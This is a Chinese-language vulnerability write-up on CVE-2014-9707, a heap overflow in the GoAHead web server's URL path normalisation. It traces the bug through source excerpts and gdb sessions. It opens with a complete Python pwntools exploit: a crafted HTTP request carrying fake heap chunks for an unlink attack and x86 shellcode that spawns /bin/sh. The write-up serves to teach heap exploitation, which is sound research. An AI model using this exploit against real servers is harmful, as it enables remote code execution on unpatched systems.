作者:k0shl
稿费:700RMB(不服你也来投稿啊!)
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
前言
最近一直在看泉哥的 《漏洞战争:软件漏洞分析精要》,我接触二进制的时间并不长,但是觉得这本书特别好,最主要的原因是这本书中的漏洞涵盖了绝大多数常见的漏洞类型,而且,每个漏洞都能够还原出一个基本的漏洞模型。
说起漏洞模型,我在前不久碰到一个非常有趣的漏洞,也就是我写这篇文章的主角CVE-2014-9707,一个Linux下服务端软件GoAHead的堆溢出漏洞,在分析完这个漏洞后我发现,这个漏洞可以还原出一个非常有趣而且常见的基本漏洞模型,对于我这样的新人学习Linux下堆溢出漏洞利用有很大的帮助,因此我总结了整个过程与大家分享,最后要感谢fneig、explorer师傅的指导!
漏洞分析
首先我贴出这个漏洞的PoC
```
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
def hex2url(i):
array = format(i, 'X')
if len(array) % 2 != 0:
array = '0' + array
ret = ''.join('%' + array[i-2:i] for i in xrange(len(array), 0, -2))
return ret
def fake(chunk_addr):
print(hex(chunk_addr))
chunk = int(hex(chunk_addr)[0:8], 16) + 1
print(chunk)
fake_fd = hex(chunk)
fake_chunk_addr = int(fake_fd + '2f', 16)
fake_bk = fake_chunk_addr - 8
return fake_chunk_addr, int(fake_fd, 16), fake_bk
def make_fake_chunk(chunk_addr):
chunk = (chunk_addr & ~0xff) + 0x12f
fd = int(format(chunk, '08X')[:6], 16)
bk = chunk
return fd, bk, chunk
pro = remote('localhost', 80)
chunk = 0x8057840
fd, bk, fake_chunk = make_fake_chunk(chunk)
print(hex(fd), hex(bk), hex(fake_chunk))
shellcode = '%eb%16%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90'
shellcode += "%eb%19%5e%31%d2%89%56%07%52%56%89%e1%89%f3%31%c0%b0%0b%cd"
shellcode += "%80%31%db%31%c0%40%cd%80%e8%e2%ff%ff%ff%2f%62%69"
shellcode += "%6e%2f%73%68"
shellcode_addr = fake_chunk + 4 * 4
offset = 0
exp = 'GET /'
exp += hex2url(fd) # fd
exp += hex2url(bk) # bk
exp += hex2url(0xbffff2ac - 20) # fd_next, stack
exp += hex2url(shellcode_addr) # bk_next
pad = fake_chunk - chunk - 16
print('pad:{0}'.format(pad))
# fake chunk
exp += 'A' * (fake_chunk - chunk - 16)
exp += hex2url(0x01020304) # prev_size
exp += hex2url(0x01020304) # size
exp += hex2url(chunk - 8) # fd
exp += hex2url(chunk - 8) # bk
exp += shellcode
print('--{}'.format(1024 - (fake_chunk - chunk) - 16 - len(shellcode)/3))
exp += '/./'
exp += hex2url(2) * 50
exp += 'A' * (1024 - (fake_chunk - chunk) - 16 - len(shellcode) / 3 - 50)
exp += '/.ssss'
#exp += 'A'*1024
exp += ' HTTP/1.0rnrn'
print(len(exp))
print(exp)
pro.send(exp)
```
这是一个非常有意思的堆溢出漏洞,Goahead是一个知名的Web Server服务器,在处理传入数据包时,对数据包分别进行了一些处理,在处理之后与之前的长度,没有进行有效的对称,从而导致将后续数据包考入之前申请的缓冲区时,如果后续数据包长度过大,会使之前的缓冲区发生溢出。
之前缓冲区是malloc申请而成,溢出后,可以通过覆盖某些关键指针和变量,来在堆释放时触发unlink,从而导致任意代码执行,下面对此漏洞进行详细分析。
首先运行Goahead,然后通过gdb attach pid附加进程,运行exp,发现程序中断,命中断点。
```
gdb-peda$ c
Continuing.
Program received signal SIGABRT, Aborted.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x545
ECX: 0x545
EDX: 0x6
ESI: 0x45 ('E')
EDI: 0xb7eec000 --> 0x1a5da8
EBP: 0xbffff178 --> 0x805cb28 --> 0x0
ESP: 0xbfffeeb4 --> 0xbffff178 --> 0x805cb28 --> 0x0
EIP: 0xb7fdebe0 (<__kernel_vsyscall+16>: pop ebp)
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xb7fdebdc <__kernel_vsyscall+12>: nop
0xb7fdebdd <__kernel_vsyscall+13>: nop
0xb7fdebde <__kernel_vsyscall+14>: int 0x80
=> 0xb7fdebe0 <__kernel_vsyscall+16>: pop ebp
0xb7fdebe1 <__kernel_vsyscall+17>: pop edx
0xb7fdebe2 <__kernel_vsyscall+18>: pop ecx
0xb7fdebe3 <__kernel_vsyscall+19>: ret
0xb7fdebe4: int3
[------------------------------------stack-------------------------------------]
0000| 0xbfffeeb4 --> 0xbffff178 --> 0x805cb28 --> 0x0
0004| 0xbfffeeb8 --> 0x6
0008| 0xbfffeebc --> 0x545
0012| 0xbfffeec0 --> 0xb7d74307 (<__GI_raise+71>: xchg ebx,edi)
0016| 0xbfffeec4 --> 0xb7eec000 --> 0x1a5da8
0020| 0xbfffeec8 --> 0xbfffef64 --> 0x77 ('w')
0024| 0xbfffeecc --> 0xb7d759c3 (<__GI_abort+323>: mov edx,DWORD PTR gs:0x8)
0028| 0xbfffeed0 --> 0x6
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGABRT
```
通过bt命令可以回溯调用。
```
gdb-peda$ bt
#0 0xb7fdebe0 in __kernel_vsyscall ()
#1 0xb7d74307 in __GI_raise (sig=sig@entry=0x6)
at ../nptl/sysdeps/unix/sysv/linux/raise.c:56
#2 0xb7d759c3 in __GI_abort () at abort.c:89
#3 0xb7db26f8 in __libc_message (do_abort=do_abort@entry=0x1,
fmt=fmt@entry=0xb7ea865c "*** Error in `%s': %s: 0x%s ***n")
at ../sysdeps/posix/libc_fatal.c:175
#4 0xb7db876a in malloc_printerr (action=<optimized out>,
str=0xb7ea4138 "corrupted double-linked list", ptr=0x805cb28)
at malloc.c:4996
#5 0xb7db95fb in _int_free (av=0xb7eec420 <main_arena>, p=<optimized out>,
have_lock=0x0) at malloc.c:3996
#6 0xb7dbc0c3 in __GI___libc_free (mem=<optimized out>) at malloc.c:2946
#7 0xb7fb661d in websNormalizeUriPath (
pathArg=0x805bcc0 "/y05b/y05b230362377277?y05b", 'A' <repeats 184 times>...) at src/http.c:3238
#8 0xb7fb8ab3 in parseFirstLine (wp=<optimized out>) at src/http.c:957
#9 parseIncoming (wp=<optimized out>) at src/http.c:872
#10 websPump (wp=0x804f560) at src/http.c:826
#11 0xb7fb906d in readEvent (wp=0x804f560) at src/http.c:799
#12 socketEvent (sid=0x2, mask=0x2, wptr=0x804f560) at src/http.c:737
#13 0xb7fc6322 in socketDoEvent (sp=0x804f4b0) at src/socket.c:650
#14 socketProcess () at src/socket.c:624
#15 0xb7fb35b5 in websServiceEvents (finished=0x804ab44 <finished>)
at src/http.c:1293
#16 0x08048c31 in main (argc=0x5, argv=0xbffff4b4, envp=0xbffff4cc)
at src/goahead.c:146
#17 0xb7d5fa63 in __libc_start_main (main=0x8048a70 <main>, argc=0x5,
argv=0xbffff4b4, init=0x80491e0 <__libc_csu_init>,
fini=0x8049250 <__libc_csu_fini>, rtld_fini=0xb7fedc90 <_dl_fini>,
stack_end=0xbffff4ac) at libc-start.c:287
#18 0x08048f67 in _start ()
```
查看一下现在服务器上的情况。
```
/./mean to strcat cannot heap overflow
goahead: 2: GET /%79%05%08%2F%79%05%08%98%F2%FF%BF%3F%79%05%08AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%04%03%02%01%04%03%02%01%38%78%05%08%38%78%05%08%eb%16%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%eb%19%5e%31%d2%89%56%07%52%56%89%e1%89%f3%31%c0%b0%0b%cd%80%31%db%31%c0%40%cd%80%e8%e2%ff%ff%ff%2f%62%69%6e%2f%73%68/./%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.0
*** Error in `goahead': free(): corrupted unsorted chunks: 0x080622c0 ***
```
可以看到,此时已经出发了corrupted unsorted chunks,这个是glibc在新版本后引入用于对抗unlink时指针欺骗的,但是不要紧,这个在利用中是可以绕过的,在分析时我们不关心。
但是由此可见,这时已经触发了unlink操作,接下来,根据bt回溯情况,来分析整个漏洞的成因。首先从main函数来跟踪一下调用情况,首先是在goahead.c中。
```
while (!finished || !*finished) {
if (socketSelect(-1, delay)) {
socketProcess(); open a socket process
}
```
首先在main函数中,会启用socketProcess,也就是启用Socket进程,接下来进入http.c中。
```
PUBLIC void socketProcess()
{
WebsSocket *sp;
int sid;
for (sid = 0; sid < socketMax; sid++) {
if ((sp = socketList[sid]) != NULL) {
if (sp->currentEvents & sp->handlerMask) {
socketDoEvent(sp); if sid then do event
}
}
}
}
```
在进程中,会调用一个socket事件,接着往里跟踪。
```
if (sp->handler && (sp->handlerMask & sp->currentEvents)) {
(sp->handler)(sid, sp->handlerMask & sp->currentEvents, sp->handler_data);
/*
Make sure socket pointer is still valid, then reset the currentEvents.
*/
if (socketList && sid < socketMax && socketList[sid] == sp) {
sp->currentEvents = 0; create a socket handler
}
```
这里会对sid进程句柄进行一些简单的判断,然后就会进入关键函数调用了。
```
static bool parseIncoming(Webs *wp)
{
WebsBuf *rxbuf;
char *end, c;
rxbuf = &wp->rxbuf;
while (*rxbuf->servp == 'r' || *rxbuf->servp == 'n') {
bufGetc(rxbuf);
}
if ((end = strstr((char*) wp->rxbuf.servp, "rnrn")) == 0) {
if (bufLen(&wp->rxbuf) >= BIT_GOAHEAD_LIMIT_HEADER) {
websError(wp, HTTP_CODE_REQUEST_TOO_LARGE | WEBS_CLOSE, "Header too large");
return 1;
}
return 0;
}
trace(3 | WEBS_RAW_MSG, "n<<< Requestn");
c = *end;
*end = '';
trace(3 | WEBS_RAW_MSG, "%sn", wp->rxbuf.servp);
*end = c;
/*
Parse the first line of the Http header
*/
parseFirstLine(wp);
```
在函数中,会调用parseFirstLine函数,这个函数有一个参数,是一个结构体Webs。
```
typedef struct Webs {
WebsBuf rxbuf; /**< Raw receive buffer */
WebsBuf input; /**< Receive buffer after de-chunking */
char *uploadVar; /**< Current upload form variable name */
……省略一大部分定义
#endif
void *ssl; /**< SSL context */
} Webs;
```
这个Webs结构体其实包含了整个Web Server服务端需要的变量,那么继续往里跟踪。
```
static void parseFirstLine(Webs *wp)
{
char *op, *protoVer, *url, *host, *query, *path, *port, *ext, *buf;
int testPort;
^^^^
if (websGetLogLevel() == 2) { host = path = port = query = ext = NULL;
if (websUrlParse(url, &buf, NULL, &host, &port, &path, &ext, NULL, &query) < 0) {
error("Cannot parse URL: %s", url);
websError(wp, HTTP_CODE_BAD_REQUEST | WEBS_CLOSE | WEBS_NOLOG, "Bad URL");
return;
}
if ((wp->path = websNormalizeUriPath(path)) == 0) {
error("Cannot normalize URL: %s", url);
websError(wp, HTTP_CODE_BAD_REQUEST | WEBS_CLOSE | WEBS_NOLOG, "Bad URL");
wfree(buf);
return;
}
```
根据我们上面的回溯部分,可以看到函数中websNormalizeUriPath函数是漏洞触发的主要函数,它的参数path是数据包中我们构造的畸形字符串,而它又是从哪里来的呢?
注意一下上面的websUrlParse函数,中间会对path进行处理,下面动态调试。在websUrlParse下断点。
```
gdb-peda$ b websUrlParse
Breakpoint 1 at 0xb7fb5fd0: file src/http.c, line 3027.
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0xbffff2c0 --> 0xbffff320 --> 0x2
EBX: 0xb7fd8480 --> 0x30328
ECX: 0xb7eec420 --> 0x0
EDX: 0x0
ESI: 0x805ddd3 ("HTTP/1.0")
EDI: 0xb7fd94ec --> 0x2
EBP: 0x805d8ac ("/%79%05%08%2F%79%05%08%98%F2%FF%BF%3F%79%05%08", 'A' <repeats 154 times>...)
ESP: 0xbffff25c --> 0xb7fb8a9c (<websPump+4572>: add esp,0x30)
EIP: 0xb7fb5fd0 (<websUrlParse>: push ebp)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xb7fb5fcd: nop
0xb7fb5fce: nop
0xb7fb5fcf: nop
=> 0xb7fb5fd0 <websUrlParse>: push ebp
0xb7fb5fd1 <websUrlParse+1>: push edi
0xb7fb5fd2 <websUrlParse+2>: push esi
0xb7fb5fd3 <websUrlParse+3>: push ebx
0xb7fb5fd4 <websUrlParse+4>: call 0xb7fae4a0 <__x86.get_pc_thunk.bx>
[------------------------------------stack-------------------------------------]
0000| 0xbffff25c --> 0xb7fb8a9c (<websPump+4572>: add esp,0x30)
0004| 0xbffff260 --> 0x805d8ac ("/%79%05%08%2F%79%05%08%98%F2%FF%BF%3F%79%05%08", 'A' <repeats 154 times>...)
0008| 0xbffff264 --> 0xbffff2c0 --> 0xbffff320 --> 0x2
0012| 0xbffff268 --> 0x0
0016| 0xbffff26c --> 0xbffff2ac --> 0x0
0020| 0xbffff270 --> 0xbffff2b8 --> 0x0
0024| 0xbffff274 --> 0xbffff2b4 --> 0x0
0028| 0xbffff278 --> 0xbffff2bc --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, websUrlParse (
url=0x805d8ac "/%79%05%08%2F%79%05%08%98%F2%FF%BF%3F%79%05%08", 'A' <repeats 154 times>..., pbuf=0xbffff2c0, pprotocol=0x0, phost=0xbffff2ac,
pport=0xbffff2b8, ppath=0xbffff2b4, pext=0xbffff2bc, preference=0x0,
pquery=0xbffff2b0) at src/http.c:3027
3027 {
gdb-peda$ x/10x 0xbffff2b4
0xbffff2b4: 0x00000000 0x00000000 0x00000000 0xbffff320
0xbffff2c4: 0xb7fecc9f 0xb7fdbb00 0x00000000 0x00000001
0xbffff2d4: 0x00000001 0x00000000
```
可以看到,此时url已经传入了畸形字符串,函数中,会对这个字符串进行各种处理,把它们处理后交给其他输出变量。
注意bffff2b4处的变量。接下来直接执行到函数返回的位置。
```
gdb-peda$ b *0xb7fb61be
Breakpoint 2 at 0xb7fb61be: file src/http.c, line 3162.
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xb7fd8480 --> 0x30328
ECX: 0xbffff2b0 --> 0xb7fc90f7 --> 0x74746800 ('')
EDX: 0x0
ESI: 0x805ddd3 ("HTTP/1.0")
EDI: 0xb7fd94ec --> 0x2
EBP: 0x805d8ac ("/%79%05%08%2F%79%05%08%98%F2%FF%BF%3F%79%05%08", 'A' <repeats 154 times>...)
ESP: 0xbffff25c --> 0xb7fb8a9c (<websPump+4572>: add esp,0x30)
EIP: 0xb7fb61be (<websUrlParse+494>: ret)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xb7fb61bb <websUrlParse+491>: pop esi
0xb7fb61bc <websUrlParse+492>: pop edi
0xb7fb61bd <websUrlParse+493>: pop ebp
=> 0xb7fb61be <websUrlParse+494>: ret
0xb7fb61bf <websUrlParse+495>: nop
0xb7fb61c0 <websUrlParse+496>: lea eax,[ebp+0x7]
0xb7fb61c3 <websUrlParse+499>: mov BYTE PTR [ebp+0x4],0x0
0xb7fb61c7 <websUrlParse+503>: mov edx,DWORD PTR [esp+0xc]
[------------------------------------stack-------------------------------------]
0000| 0xbffff25c --> 0xb7fb8a9c (<websPump+4572>: add esp,0x30)
0004| 0xbffff260 --> 0x805d8ac ("/%79%05%08%2F%79%05%08%98%F2%FF%BF%3F%79%05%08", 'A' <repeats 154 times>...)
0008| 0xbffff264 --> 0xbffff2c0 --> 0x805bcc0 --> 0x805792f --> 0x0
0012| 0xbffff268 --> 0x0
0016| 0xbffff26c --> 0xbffff2ac --> 0xb7fc94e1 ("localhost")
0020| 0xbffff270 --> 0xbffff2b8 --> 0x805c70e --> 0x0
0024| 0xbffff274 --> 0xbffff2b4 --> 0x805bcc0 --> 0x805792f --> 0x0
0028| 0xbffff278 --> 0xbffff2bc --> 0x805c1e4 --> 0x782e ('.x')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 2, 0xb7fb61be in websUrlParse (
url=0x805d8ac "/%79%05%08%2F%79%05%08%98%F2%FF%BF%3F%79%05%08", 'A' <repeats 154 times>..., pbuf=0xbffff2c0, pprotocol=0x0, phost=0xbffff2ac,
pport=0xbffff2b8, ppath=0xbffff2b4, pext=0xbffff2bc, preference=0x0,
pquery=0xbffff2b0) at src/http.c:3162
3162 }
gdb-peda$ x/10x *0xbffff2b4
0x805bcc0: 0x0805792f 0x0805792f 0xbffff298 0x0805793f
0x805bcd0: 0x41414141 0x41414141 0x41414141 0x41414141
0x805bce0: 0x41414141 0x41414141
```
可以看到,此时已经覆盖上畸形变量了,bffff2b4存放的是path地址,接下来返回后,path会继续传入到漏洞函数中。
```
gdb-peda$
[-------------------------------------code-------------------------------------]
0xb7fb8aa1 <websPump+4577>: js 0xb7fb8cca <websPump+5130>
0xb7fb8aa7 <websPump+4583>: sub esp,0xc
0xb7fb8aaa <websPump+4586>: push DWORD PTR [esp+0x30]
=> 0xb7fb8aae <websPump+4590>: call 0xb7fad160 <websNormalizeUriPath@plt>
0xb7fb8ab3 <websPump+4595>: mov edi,DWORD PTR [esp+0xc0]
0xb7fb8aba <websPump+4602>: add esp,0x10
0xb7fb8abd <websPump+4605>: test eax,eax
0xb7fb8abf <websPump+4607>: mov DWORD PTR [edi+0x16c],eax
Guessed arguments:
arg[0]: 0x805bcc0 --> 0x805792f --> 0x0
[------------------------------------stack-------------------------------------]
0000| 0xbffff280 --> 0x805bcc0 --> 0x805792f --> 0x0
0004| 0xbffff284 --> 0xb7fdb948 --> 0xb7fa8000 --> 0x464c457f
0008| 0xbffff288 --> 0xb7fc03c5 (<websGetLogLevel+5>: add ecx,0x180bb)
0012| 0xbffff28c --> 0xb7fb8a40 (<websPump+4480>: cmp eax,0x2)
0016| 0xbffff290 --> 0xbffff2f0 --> 0xb7faa608 --> 0x675f5f00 ('')
0020| 0xbffff294 --> 0xb7eec450 --> 0x80618a8 --> 0x0
0024| 0xbffff298 --> 0x10
0028| 0xbffff29c --> 0x2008
gdb-peda$ x/10x 0x0805bcc0
0x805bcc0: 0x0805792f 0x0805792f 0xbffff298 0x0805793f
0x805bcd0: 0x41414141 0x41414141 0x41414141 0x41414141
0x805bce0: 0x41414141 0x41414141
```
接下来,进入到漏洞函数开始分析漏洞的成因。首先根据源码,找到了一处strcpy函数。
```
if ((dupPath = walloc(len + 2)) == 0) {
return NULL;
}
strcpy(dupPath, pathArg);
```
这里会将畸形字符串考入dupPath中。
```
gdb-peda$ x/10x 0x0805bcc0
0x805bcc0: 0x0805792f 0x0805792f 0xbffff298 0x0805793f
0x805bcd0: 0x41414141 0x41414141 0x41414141 0x41414141
0x805bce0: 0x41414141 0x41414141
[-------------------------------------code-------------------------------------]
0xb7fb6445 <websRewriteRequest+229>:
jmp 0xb7fb6432 <websRewriteRequest+210>
0xb7fb6447: mov esi,esi
0xb7fb6449: lea edi,[edi+eiz*1+0x0]
=> 0xb7fb6450 <websNormalizeUriPath>: push ebp
0xb7fb6451 <websNormalizeUriPath+1>: push edi
0xb7fb6452 <websNormalizeUriPath+2>: push esi
0xb7fb6453 <websNormalizeUriPath+3>: push ebx
0xb7fb6454 <websNormalizeUriPath+4>:
call 0xb7fae4a0 <__x86.get_pc_thunk.bx>
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 4, websNormalizeUriPath (
pathArg=0x805bcc0 "/y05b/y05b230362377277?y05b", 'A' <repeats 184 times>...) at src/http.c:3170
3170 {
gdb-peda$ x/10x 0x0805bcc0
0x805bcc0: 0x0805792f 0x0805792f 0xbffff298 0x0805793f
0x805bcd0: 0x41414141 0x41414141 0x41414141 0x41414141
0x805bce0: 0x41414141 0x41414141
gdb-peda$
strcpy(dupPath, pathArg);
[-------------------------------------code-------------------------------------]
0xb7fb64a8 <websNormalizeUriPath+88>: push esi
0xb7fb64a9 <websNormalizeUriPath+89>: mov esi,DWORD PTR [esp+0x20]
0xb7fb64ad <websNormalizeUriPath+93>: push esi
=> 0xb7fb64ae <websNormalizeUriPath+94>: call 0xb7fad8c0 <strcpy@plt>
0xb7fb64b3 <websNormalizeUriPath+99>: lea eax,[edi*4+0x4]
0xb7fb64ba <websNormalizeUriPath+106>: mov DWORD PTR [esp],eax
0xb7fb64bd <websNormalizeUriPath+109>: call 0xb7fad9b0 <malloc@plt>
0xb7fb64c2 <websNormalizeUriPath+114>: add esp,0x10
gdb-peda$ x/10x $esp
0xbffff230: 0x0805c720 0x0805bcc0 0x00000000 0x0805c1e6
0xbffff240: 0x0805d8ac 0xb7faa388 0xb7fb5fd9 0xb7fd8480
0xbffff250: 0x0805ddd3 0x0805c720
gdb-peda$ x/10x 0x0805bcc0
0x805bcc0: 0x0805792f 0x0805792f 0xbffff298 0x0805793f
0x805bcd0: 0x41414141 0x41414141 0x41414141 0x41414141
0x805bce0: 0x41414141 0x41414141
```
接下来会进入两处for循环,会对路径进行一些处理,比如将/./合并等等,在第二处for循环中,由于输入和输出长度变量没有对称,导致拷贝中可以构成一个超长字符串,下面动态来观察这一过程。
```
for (mark = sp = dupPath; *sp; sp++) {
if (*sp == '/') {
*sp = '';
while (sp[1] == '/') {
sp++;
}
segments[nseg++] = mark;
len += (int) (sp - mark);
mark = sp + 1;
}
}
segments[nseg++] = mark;
len += (int) (sp - mark);
for (j = i = 0; i < nseg; i++, j++) {
sp = segments[i];
if (sp[0] == '.') {
if (sp[1] == '') {
if ((i+1) == nseg) {
segments[j] = "";
} else {
j--;
}
} else if (sp[1] == '.' && sp[2] == '') {
if (i == 1 && *segments[0] == '') {
j = 0;
} else if ((i+1) == nseg) {
if (--j >= 0) {
segments[j] = "";
}
} else {
j = max(j - 2, -1);
}
}
} else {
segments[j] = segments[i];
}
}
```
上述代码就是我描述的过程,执行完处理后,看一下dp的长度。
```
Breakpoint 2, 0xb7fb65ac in websNormalizeUriPath (
pathArg=0x805bcc0 "/y05b/y05b230362377277?y05b", 'A' <repeats 184 times>...) at src/http.c:3227
3227 if ((path = walloc(len + nseg + 1)) != 0) {
gdb-peda$ x/10x $esp
0xbffff230: 0x0000040a 0x0805bcc0 0x00000000 0x0805c1e9
0xbffff240: 0x0805d8ac 0xb7faa388 0xb7fb5fd9 0x00000402
0xbffff250: 0x0805ddd6 0x0805c728
```
这里注意一下esp的值,返回中esp中存放的值是40a,也就是1034,就是缓冲区的长度,接下来到达一处非常关键的for循环。
```
if ((path = walloc(len + nseg + 1)) != 0) {
for (i = 0, dp = path; i < nseg; ) {
strcpy(dp, segments[i]);
len = (int) slen(segments[i]);
dp += len;
if (++i < nseg || (nseg == 1 && *segments[0] == '' && firstc == '/')) {
*dp++ = '/';
}
}
*dp = '';
}
```
这里会根据nseg执行strcpy操作,由于之前的问题,会导致拷贝超过dp本身的大小,也就是1034,来看一下到底拷贝了多少内容。
```
1:Breakpoint 5, websNormalizeUriPath (
pathArg=0x805bcc0 "/y05b/y05b230362377277?y05b", 'A' <repeats 184 times>...) at src/http.c:3232
3232 if (++i < nseg || (nseg == 1 && *segments[0] == '' && firstc == '/')) {
gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0x0
2:Breakpoint 5, websNormalizeUriPath (
pathArg=0x805bcc0 "/y05b/y05b230362377277?y05b", 'A' <repeats 184 times>...) at src/http.c:3232
3232 if (++i < nseg || (nseg == 1 && *segments[0] == '' && firstc == '/')) {
gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0x3
3:Breakpoint 5, websNormalizeUriPath (
pathArg=0x805bcc0 "/y05b/y05b230362377277?y05b", 'A' <repeats 184 times>...) at src/http.c:3232
3232 if (++i < nseg || (nseg == 1 && *segments[0] == '' && firstc == '/')) {
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0x132
4:Breakpoint 5, websNormalizeUriPath (
pathArg=0x805bcc0 "/y05b/y05b230362377277?y05b", 'A' <repeats 184 times>...) at src/http.c:3232
3232 if (++i < nseg || (nseg == 1 && *segments[0] == '' && firstc == '/')) {
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0x3
6:Breakpoint 5, websNormalizeUriPath (
pathArg=0x805bcc0 "/y05b/y05b230362377277?y05b", 'A' <repeats 184 times>...) at src/http.c:3232
3232 if (++i < nseg || (nseg == 1 && *segments[0] == '' && firstc == '/')) {
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0x2
7:Breakpoint 5, websNormalizeUriPath (
pathArg=0x805bcc0 "/y05b/y05b230362377277?y05b", 'A' <repeats 184 times>...) at src/http.c:3232
3232 if (++i < nseg || (nseg == 1 && *segments[0] == '' && firstc == '/')) {
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0x2c2
8:Breakpoint 5, websNormalizeUriPath (
pathArg=0x805bcc0 "/y05b/y05b230362377277?y05b", 'A' <repeats 184 times>...) at src/http.c:3232
3232 if (++i < nseg || (nseg == 1 && *segments[0] == '' && firstc == '/')) {
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0x2c2
Breakpoint 7, 0xb7fb6618 in websNormalizeUriPath (
pathArg=0x805bcc0 "/y05b/y05b230362377277?y05b", 'A' <repeats 184 times>...) at src/http.c:3238
3238 wfree(dupPath);
3+132+3+2+2c2+2c2 = 6be = 1726
```
可以看到,一共拷贝了8次,总共拷贝了1726,在整个拷贝过程中,eax监视的是拷贝的长度,算一下总和,已经超过了1034,那么由此就会造成堆溢出。
接下来执行,发生堆溢出,到达漏洞位置。
```
gdb-peda$ c
Continuing.
Program received signal SIGABRT, Aborted.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xef3
ECX: 0xef3
EDX: 0x6
ESI: 0x45 ('E')
EDI: 0xb7eec000 --> 0x1a5da8
EBP: 0xbffff178 --> 0x805cb30 --> 0x73 ('s')
ESP: 0xbfffeeb4 --> 0xbffff178 --> 0x805cb30 --> 0x73 ('s')
EIP: 0xb7fdebe0 (<__kernel_vsyscall+16>: pop ebp)
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xb7fdebdc <__kernel_vsyscall+12>: nop
0xb7fdebdd <__kernel_vsyscall+13>: nop
0xb7fdebde <__kernel_vsyscall+14>: int 0x80
=> 0xb7fdebe0 <__kernel_vsyscall+16>: pop ebp
0xb7fdebe1 <__kernel_vsyscall+17>: pop edx
0xb7fdebe2 <__kernel_vsyscall+18>: pop ecx
0xb7fdebe3 <__kernel_vsyscall+19>: ret
0xb7fdebe4: int3
```
总结一下整个漏洞的形成过程,在goahead中,程序会开启监听socket进程,之后会有一个函数用于处理接收到的数据包。在收到url后,会对url进行进一步处理,在处理的过程中,由于对.的控制逻辑混乱,导致处理结束后的判断长度和之前的长度不等,从而可以导致超长串考入先前申请长度的缓冲区,引发堆溢出漏洞。
从漏洞分析到漏洞模型
实际上要利用这个漏洞,其实对于Linux二进制攻防熟悉的大牛肯定已经知道就是利用unlink来对堆进行攻击,其实这个漏洞非常有意思,是因为它有一个非常基础的漏洞模型,下面我们一起来把这个漏洞模型还原出来。
首先我们再来回顾一下发生漏洞的源码部分。
```
PUBLIC char *websNormalizeUriPath(char *pathArg)
{
…… 省略一部分
len = (int) slen(pathArg);
if ((dupPath = walloc(len + 2)) == 0) {
return NULL;
}
strcpy(dupPath, pathArg);
if ((segments = walloc(sizeof(char*) * (len + 1))) == 0) {
return NULL;
}
nseg = len = 0;
firstc = *dupPath;
for (mark = sp = dupPath; *sp; sp++) {
if (*sp == '/') {
*sp = '';
while (sp[1] == '/') {
sp++;
}
segments[nseg++] = mark;
len += (int) (sp - mark);
mark = sp + 1;
}
}
……省略一部分
}
}
nseg = j;
assert(nseg >= 0);
if ((path = walloc(len + nseg + 1)) != 0) {
for (i = 0, dp = path; i < nseg; ) {
strcpy(dp, segments[i]);
……省略一部分
}
*dp = '';
}
wfree(dupPath);
wfree(segments);
```
